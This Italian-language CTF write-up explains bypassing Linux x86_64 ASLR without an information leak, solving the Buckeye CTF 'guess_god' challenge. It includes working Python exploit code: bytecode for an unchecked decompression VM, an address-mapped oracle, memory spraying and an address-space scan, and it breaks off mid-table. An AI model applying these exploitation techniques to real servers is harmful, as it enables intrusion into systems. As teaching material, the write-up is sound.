
Bypass di ASLR senza infoleak
In questo articolo discuterò dell'applicazione della tecnica descritta da Samuel Groß nel suo Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, per bypassare l'ASLR su Linux x86_64.
Per dimostrarlo, risolverò una sfida pwnable del Buckeye CTF, guess_god.
Cercherò di mantenere il contenuto il più possibile adatto ai principianti, quindi sentiti libero di saltare qualsiasi sezione se ti senti abbastanza sicuro e vuoi solo vedere l'exploit.

Non ho giocato alla CTF, ma la sfida mi ha interessato circa 2 ore prima della fine della CTF grazie a Guray00, che stava chiedendo aiuto nel discord di fibonhack su alcune stranezze crittografiche.
Non ho potuto aiutarlo, ma ho dato un'occhiata alle sfide pwnable e ho pensato che sarebbe stato utile capire il blogpost di P0 e magari ottenere quella bounty.
Address Space Layout Randomization (ASLR) è una tecnica di sicurezza informatica che prevede il posizionamento casuale dell'indirizzo di base di un eseguibile e della posizione di librerie, heap e stack, nello spazio degli indirizzi di un processo.
Su Linux, puoi ispezionare i mapping di un processo dato il suo pid tramite procfs, leggendo il file /proc/<pid>/maps.
Se sei un processo e vuoi conoscere i tuoi mapping di memoria, puoi leggere /proc/self/maps.
Ad esempio, puoi provare a leggere /proc/self/maps con cat:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### Pattern dei mapping di memoria
Se fai questo un paio di volte, puoi dedurre che:
* La base PIE del binario dovrebbe essere nell'intervallo 0x00005500_00000000-0x00005700_00000000, il che significa 2TB di indirizzi possibili.
* L'heap è vicino al binario.
* Le librerie rientrano nell'intervallo 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB di indirizzi possibili.
* Lo stack si colloca \(nella maggior parte dei casi\) nell'intervallo 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb di indirizzi possibili.
* L'intervallo 0xffffffffff600000 - 0xffffffffff601000 è sempre mappato, puoi leggere [questo articolo](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) se sei curioso di sapere di cosa si tratta.
## 1.3 Come bypassare ASLR senza un infoleak
Discutiamo di cosa puoi fare per bypassare ASLR quando non è possibile alcun information leak.
Questo è il mio tentativo di riassumere ciò che ho ricavato leggendo il blogpost di Saelo.
Per bypassare ASLR ti serve:
* Una tecnica di memory spraying, che ti consente di mappare memoria contigua di una data dimensione, su un dato intervallo di indirizzi.
Come dice lui, ci sono due modi per farlo:
1. Abusando di un memory leak (non un information leak!), un bug in cui un blocco di memoria viene “dimenticato” e mai liberato, e innescandolo più volte finché la quantità di memoria desiderata è stata leakata.
2. Trovando e abusando di un “amplification gadget”: un pezzo di codice che prende un blocco di dati esistente e lo copia, potenzialmente più volte, consentendo quindi all'attaccante di sprayare una grande quantità di memoria inviando solo un numero relativamente piccolo di byte.
* Un oracolo `isAddressMapped`, che dato un indirizzo ti dice se quell'indirizzo è mappato o meno.
### PoC del bypass di ASLR su Linux
Proviamo a riprodurre il PoC di saelo per rompere completamente aslr su Linux.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> il PoC di saelo</i> <p/> <br/>
Su Linux non è così facile, è possibile rompere completamente ASLR solo se riesci ad allocare 16TB di memoria.```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
Dalle note di man malloc:
Quindi void *mem = malloc(size) finirà per chiamare mmap(size + malloc_metadata_size, ...)
Poiché le librerie vengono mappate nel processo tramite mmap da ld, queste allocazioni finiranno vicino alle librerie.
Se guardi gli indirizzi restituiti da malloc puoi capire meglio cosa sta succedendo. Consiglio: guarda i byte più significativi.
| mem | attraversamento confine 16tb? |
|---|---|
| 0x7fb03b55e010 | No |
| 0x7fa03b55d010 | No |
| 0x7f903b55c010 | No |
| 0x7f803b55b010 | No |
| 0x7f703b55a010 | No |
| 0x7f603b559010 | No |
| 0x7f503b558010 | No |
| 0x7f403b557010 | No |
| 0x7f303b556010 | No |
| 0x7f203b555010 | No |
| 0x7f103b554010 | No |
| 0x7f003b553010 | No |
| 0x7ef03b552010 | Sì |
| 0x7ee03b551010 | Sì |
| 0x7ed03b550010 | Sì |
| 0x7ec03b54f010 | Sì |
La PoC sfrutta il fatto che, a un certo punto, il byte più significativo dell'indirizzo restituito cambia da 7F a 7E e, poiché le allocazioni sono contigue, deve esserci qualcosa all'interno di quell'intervallo. (Sì, stiamo applicando il teorema di Bolzano-Weirstress per risolvere questo problema!)
Grazie all'autore, lo zip contiene binari, codice sorgente e dockerfile per riprodurre lo stesso ambiente di quello remoto.

È sempre una buona cosa farsi un'idea dell'ambiente: scorriamo i file e prendiamo qualche nota.
Compila e installa oatpp 1.2.5, forse ci sono bug utili in questa specifica versione?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
Compila la challenge da zero
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
Questo potrebbe essere un problema, quindi copiamo invece i binari distribuiti.
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

Viene fornito il file docker-compose.yml, quindi non è affatto difficile ottenere un ambiente locale funzionante da testare. Per quelli di voi che non hanno familiarità con docker, ecco l'elenco dei comandi che dovete conoscere per sondare la challenge localmente.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
Dopo aver eseguito `docker-compose build` puoi avviare il container con `docker-compose up` e connetterti alla challenge con `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. Analisi del codice sorgente
Ora che abbiamo una conoscenza di base su cosa dobbiamo fare per bypassare ASLR, diamo un'occhiata al codice sorgente, tenendo presente che vogliamo:
* un modo per fare spray di memoria in intervalli di memoria noti
* un oracolo isAddrMapped
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Cartella del codice sorgente </i><p/>
Si tratta per lo più di codice di collegamento per mettere in piedi un server web oatpp; infatti i file importanti che andremo ad analizzare sono:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
Ci sono 3 endpoint:
* `/`
* `GET /files/{fileId}` -> Scarica un file precedentemente caricato; se extract è true, lo estrae prima di scaricarlo.
* `POST /upload/{fileId}` -> Carica un file dato un {fileId}.
E una funzione implementata in `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
quale:
Imposta to_open su {file_id} o {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
Se è la prima volta che richiediamo l'estrazione di {file_id}, allora chiama decompress su di esso,
che scriverà il file decompresso di {file_id} in {file_id}.unkyle. ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
Infine mmap il risultato in memoria. ```C
struct stat sb;
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
fork() crea un nuovo processo duplicando il processo chiamante; al momento della fork() entrambi gli spazi di memoria hanno lo stesso contenuto.
Quindi, se siamo in grado di trasformare decompress() in un oracolo che:
Potremmo usare questa primitiva per dedurre lo spazio di memoria del processo padre.
C'è una chiamata a mmap nel processo padre: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
se possiamo controllare sb.st_size, che è la dimensione del file decompresso, potremmo facilmente trasformarlo in una primitiva di memory spraying.
int decompress(const char *fname)
* Mappa il file di input all'indirizzo `0x42069000000`.
* Mappa il file di output all'indirizzo `0x13371337000`.
* Chiama do_decompress() che porta a termine la decompressione.
Il file deve essere nel formato:
| offset | nome | tipo | descrizione |
| - | - | - | - |
| +0h | magic | uint64 | un valore magico, ci si aspetta che sia 0x0123456789abcdef |
| +8h | filesize | uint64 | dimensione del file decompresso |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
Puoi vedere questa funzione come una semplice macchina virtuale, che esegue il bytecode puntato da in e scrive l'output nel buffer puntato da out.
in punta al nostro {file_id}.
out punta a {file_id.unkyle}.
Questa VM ha 4 opcode:
0 -> NOP
1 -> STORE(u8 b)
scrive b su out, incrementa out di 1.
Implementazione dell'opcode: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
imposta out a out + off.
out e off sono valori a 64 bit, quindi out = out+off è equivalente a out = (out+off) % MAX_64BIT_VALUE, questo è chiamato integer overflow e possiamo sfruttare questo comportamento per raggiungere qualsiasi valore a 64 bit. Esempio: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
Implementazione dell'opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
Copia `size` byte da `out - off` a `out`, incrementa `out` di 8.
Implementazione dell'opcode: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
Non ci sono controlli dei limiti in nessuna delle operazioni, il che ci dà 2 primitive utili:
SEEK+LOADSEEK+STOREHo usato questo codice per costruire il bytecode:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. Interazione con il binario
Prima di addentrarci nella fase di sfruttamento, è sempre bene costruire qualcosa che ti permetta di interagire facilmente con il binario, per evitare di perdere tempo.```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
Questo è stato molto importante per me quando ho cercato di risolvere la challenge: ho fissato i memory mapping per molto tempo.
Per farlo, puoi avviare un'istanza locale della challenge e leggere le mappe del processo dopo aver eseguito alcune operazioni.

Ci viene data una primitiva di tipo read what where, quindi costruire un oracolo isAddressMapped non è affatto difficile.
Il mio modo di farlo è stato costruire questo bytecode:
memcpy(out, targetAddress, 1)write(b'A')Se targetAddress non è mappato, il programma figlio va in segfault su memcpy, dandoci un file decompresso riempito con byte nulli.
Se targetAddress è mappato, il file decompresso ha un b'\x41' come secondo byte.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 Primitiva di Memory Spray
Possiamo controllare completamente la dimensione del file decompresso e otteniamo una mmap di quella dimensione in [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
Nel mio exploit ho usato la funzione `isAddrMapped` e modificato il filelen.
Ad esempio, proviamo ad allocare un blocco contiguo di dimensione = 0x4000000 = 64mb```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
Questo è il risultato:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
Se provi a rifarlo:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
Ecco il risultato:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
Bello! Le allocazioni multiple non avranno buchi.
## 4.4 Quanta memoria sprayare?
Come puoi vedere da [questa POC](#poc-of-aslr-bypass-on-linux), la dimensione ideale per la memoria mappata contigua sarebbe 16TB.
Sfortunatamente, se provi ad allocare 16TB di memoria sul server remoto, la mmap fallirà, perché [nsjail limita questo](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
Dopo alcuni tentativi ed errori ho scoperto che posso sprayare ~3840mb di memoria, con questo codice:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
le mappature di memoria risultanti saranno più o meno così:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
Concentriamo la nostra attenzione sugli indirizzi creati con il memory spraying. \(*.unkyle files \)
Possiamo provare ad applicare il [trucco dell'attraversamento del confine](#Boundary-cross-trick).
| mem | Attraversa il limite di 4gb?
| - |-
| 7fe2dc000000 | No
| 7fe2e0000000 | No
| 7fe2e4000000 | No
| 7fe2e8000000 | No
| 7fe2ec000000 | No
| 7fe2f0000000 | No
| 7fe2f4000000 | No
| 7fe2f8000000 | No
| 7fe2fc000000 | No
| 7fe300000000 | Sì
| 7fe304000000 | Sì
| 7fe308000000 | Sì
Sfruttando il passaggio da 7fe2.. a 7fe3.. possiamo scansionare la memoria con un passo di 0x100000000 = 4gb di memoria.
## 4.5 Sconfiggere finalmente l'ASLR
Dato questo passo, possiamo scansionare da `start=0x7f0000000000` a `end=0x800000000000` con solo `end - start / size` = 256 query.```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
A questo punto, abbiamo leakAddr che è un indirizzo mappato come questo: 0x7fXX00000000, in questo caso, leakAddr = 0x7fe300000000.
Ora, se vogliamo seguire la tecnica di saelo, dovremmo fare una ricerca binaria dell'intervallo 0x7fXX00000000 - 0x7fXXffffffff, per trovare i limiti inferiore e superiore; il problema è che ci sono alcuni buchi in quell'intervallo, quindi la ricerca binaria fallisce molte volte.
Puoi verificare tu stesso con questo script:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
Quel piccolo spazio tra 0x00007f763c000000 e 0x00007f763ccaa000 manda a monte la ricerca binaria, ovviamente è comunque fattibile, ma ho trovato un modo più semplice.
### Osservazione
Vogliamo ottenere l'ultimo indirizzo mappato, perché è lì che vengono mappate le librerie.
Per esempio, date quelle mappature per le librerie:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
Possiamo cercare l'indirizzo 7fe3d6a5b000 - 0x1000 con questo trucco:
| address | Indirizzo mappato? |
|---|---|
| 0x7fe3f0000000 | No |
| 0x7fe3e0000000 | No |
| 0x7fe3d0000000 | Sì |
| 0x7fe3df000000 | No |
| 0x7fe3de000000 | No |
| 0x7fe3dd000000 | No |
| 0x7fe3dc000000 | No |
| 0x7fe3db000000 | No |
| 0x7fe3da000000 | No |
| 0x7fe3d9000000 | No |
| 0x7fe3d8000000 | No |
